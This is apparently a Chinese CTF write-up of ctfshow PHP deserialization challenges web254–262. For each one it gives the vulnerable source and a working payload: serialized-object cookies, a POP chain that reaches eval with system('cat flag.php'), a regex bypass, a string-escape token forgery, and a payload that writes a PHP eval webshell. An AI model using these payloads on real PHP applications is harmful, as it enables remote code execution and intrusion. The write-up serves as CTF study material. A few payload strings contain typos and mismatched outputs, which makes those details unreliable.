ctfshow :web入门 反序列化
一直不太懂php反序列化,总感觉很难,但是这是一个不得不越过的坎儿。。。。。。
web254
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
没有反序列化,直接传入两个参数,实例化对象,然后调用函数进行判断,所以我们传入的参数和他原值相等即可。
playload:?username=xxxxxx&password=xxxxxx
web255
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
反序列化的点在cookie的user中,我们需要让$isVip=true
构造函数,构造序列化
<?php class ctfShowUser{ public $username='1'; public $password='2'; public $isVip=True; } $c=new ctfShowUser(); echo urlencode(serialize($c));
由于cookie中将"
作为截断符号,所需要编码绕过,这里采用url编码
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
额,一开始没看出和255有啥不一样,最后才发现
if($this->username!==$this->password){ echo "your flag is ".$flag;
必须usrname不等于password,可以直接抄袭255题答案
web257
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
分析代码
public function __construct(){
$this->class=new info();
}
public function __destruct(){ $this->class->getInfo(); }
创建对象时,会先调用__construct(),该方法会创建一个新的对象,当对象呗销毁时,会执行__destruct(),该方法会调用刚才创建好的对象class里的getInfo()方法。我们需要做的就是让$this->class是backDoor类的实例化就可以了,然后在backDoor类里修改我想要执行的代码。
playload:
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code="system('cat flag.php');"; } echo urlencode(serialize(new ctfShowUser())); ?>
//输出:
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web258
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 21:38:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
相比于上一题
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); }
这里用了正则来过滤O:\d+(d代表数字),绕过的方法就是加上+,即O:+11:,O:+8;这样就可以绕过。
构造playload:
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code="system('cat flag.php');"; public function getInfo(){ eval($this->code); } } $a = new ctfShowUser(); $a = serialize($a); $a= str_replace('O:','O:+',$a); echo urlencode($a); ?>
web259
还没看懂,暂时先略过
web260
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
从传入的参数匹配字符串ctfshow_i_love_36D,如果匹配成功则返回flag,字符串序列化后返回的就是本身,所以直接get传入ctfshow_i_love_36D
playload:
?ctfshow=ctfshow_i_love_36D
web261
<?php highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
首先关注到:
public function __invoke(){
eval($this->code); }
调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。但是这里并没有找到什么方法可以进入该方法。
public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }
所以我们只能利用__destruct()方法,当对象被销毁时,会自动调用该方法。我们可以写入一句话木马,然后拿到shell,获取flag
playload:
<?php class ctfshowvip{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } } $a=new ctfshowvip('rce.php','<?php eval($_POST[1]);?>'); echo serialize($a);
//O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
因为反序列化时会调用__unserialize() ,这里将username和password字符串连接后复制个code,当执行__destruct()时,先判断code是否等于0x36d(十进制为877),所以连接后的字符串要等于877,因此将username赋值为877.php即可绕过。
然后蚁剑连接,拿到shell
web262
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);
传入三个参数,然后创建对象message,将该对象序列化后,然后将序列化后字符串中的fuck替换为loveU。
然后我们访问message.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
大概了解了本题考点,字符串溢出,通过funk替换为IoveU溢出一个字符,所以我们通过构造将token的值改为admin,然后传入cookie获得flag。
我们需要将这些字符串溢出 ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";},共62个字符,所以构造如下playload
<?php class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } function filter($msg){ return str_replace('funk','IoveU',$msg); } $msg1= new message('funkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunk";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c'); //O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";} $msg11= serialize($msg1); $msg2=filter($msg11); //echo $msg2; echo base64_encode($msg2); ?>
构造得到:
O:7:"message":4:{s:4:"from";s:310:"IoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
然后base64编码得到:
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MzEwOiJJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVIjtzOjM6Im1zZyI7czoxOiJiIjtzOjI6InRvIjtzOjE6ImMiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6MzoibXNnIjtzOjE6ImIiO3M6MjoidG8iO3M6MToiYyI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fQ==
传入cookie,获得flag
这道题还有一个非预期解,因为token是可控的,所以我们构造时,直接将token赋值为admin传入cookie即可得到flag。
playload如下:
<?php class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg =new message('a','b','c'); echo base64_encode(serialize($msg)); ?>
获得flag